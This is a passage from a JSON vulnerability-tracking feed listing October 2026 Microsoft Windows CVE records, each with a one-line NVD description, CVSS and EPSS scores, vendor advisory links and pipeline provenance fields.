privileges locally.","detail":"Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:58.307Z","updatedAt":"2026-10-23T19:49:40.630Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69733","asOf":"2026-10-23T19:49:40.630Z"},"epss":{"probability":0.00627,"percentile":0.49739,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69733&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69733","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69733","type":"primary","publishedAt":"2026-10-13T19:18:58.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69733","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69733&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69733, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69718","cveId":"CVE-2026-69718","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in a command ('command injection') in Windows Update allows an authorized attacker to elevate privileges locally.","summary":"Improper neutralization of special elements used in a command ('command injection') in Windows Update allows an authorized attacker to elevate privileges locally.","detail":"Improper neutralization of special elements used in a command ('command injection') in Windows Update allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:57.997Z","updatedAt":"2026-10-23T19:50:38.367Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69718","asOf":"2026-10-23T19:50:38.367Z"},"epss":{"probability":0.00442,"percentile":0.3812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69718","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69718","type":"primary","publishedAt":"2026-10-13T19:18:57.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69718","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69673","cveId":"CVE-2026-69673","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows Update allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows Update allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows Update allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:57.557Z","updatedAt":"2026-10-23T19:51:30.777Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","Microsoft Office","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69673","asOf":"2026-10-23T19:51:30.777Z"},"epss":{"probability":0.00507,"percentile":0.43011,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69673&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69673","type":"primary","publishedAt":"2026-10-13T19:18:57.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69673","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69673&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69673, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69633","cveId":"CVE-2026-69633","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Update allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Update allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Update allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:56.173Z","updatedAt":"2026-10-26T16:38:22.270Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69633","asOf":"2026-10-26T16:38:22.270Z"},"epss":{"probability":0.00388,"percentile":0.32605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69633","type":"primary","publishedAt":"2026-10-13T19:18:56.173Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69633","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69596","cveId":"CVE-2026-69596","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:56.003Z","updatedAt":"2026-10-26T16:38:50.687Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69596","asOf":"2026-10-26T16:38:50.687Z"},"epss":{"probability":0.00307,"percentile":0.23261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69596&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69596","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69596","type":"primary","publishedAt":"2026-10-13T19:18:56.003Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69596","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69596&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69596, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69521","cveId":"CVE-2026-69521","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows iSCSI allows an unauthorized attacker to execute code over a network.","summary":"Integer overflow or wraparound in Windows iSCSI allows an unauthorized attacker to execute code over a network.","detail":"Integer overflow or wraparound in Windows iSCSI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:55.697Z","updatedAt":"2026-10-23T17:38:41.470Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69521","asOf":"2026-10-23T17:38:41.470Z"},"epss":{"probability":0.00798,"percentile":0.56248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69521","type":"primary","publishedAt":"2026-10-13T19:18:55.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69521","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69471","cveId":"CVE-2026-69471","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:55.337Z","updatedAt":"2026-10-23T17:47:24.263Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69471","asOf":"2026-10-23T17:47:24.263Z"},"epss":{"probability":0.00379,"percentile":0.31576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69471&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69471","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69471","type":"primary","publishedAt":"2026-10-13T19:18:55.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69471","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69471&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69471, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69452","cveId":"CVE-2026-69452","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network.","summary":"Use after free in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network.","detail":"Use after free in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:55.033Z","updatedAt":"2026-10-23T17:47:52.823Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69452","asOf":"2026-10-23T17:47:52.823Z"},"epss":{"probability":0.0066,"percentile":0.51304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69452","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69452","type":"primary","publishedAt":"2026-10-13T19:18:55.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69452","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69452, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69387","cveId":"CVE-2026-69387","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:54.710Z","updatedAt":"2026-10-23T17:48:36.103Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69387","asOf":"2026-10-23T17:48:36.103Z"},"epss":{"probability":0.003,"percentile":0.22444,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69387&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69387","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69387","type":"primary","publishedAt":"2026-10-13T19:18:54.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69387","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69387&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69387, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69363","cveId":"CVE-2026-69363","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:54.357Z","updatedAt":"2026-10-23T17:52:10.030Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69363","asOf":"2026-10-23T17:52:10.030Z"},"epss":{"probability":0.00748,"percentile":0.5461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69363","type":"primary","publishedAt":"2026-10-13T19:18:54.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69363","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69354","cveId":"CVE-2026-69354","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:54.177Z","updatedAt":"2026-10-23T17:52:35.100Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69354","asOf":"2026-10-23T17:52:35.100Z"},"epss":{"probability":0.00379,"percentile":0.31579,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69354","type":"primary","publishedAt":"2026-10-13T19:18:54.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69354","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 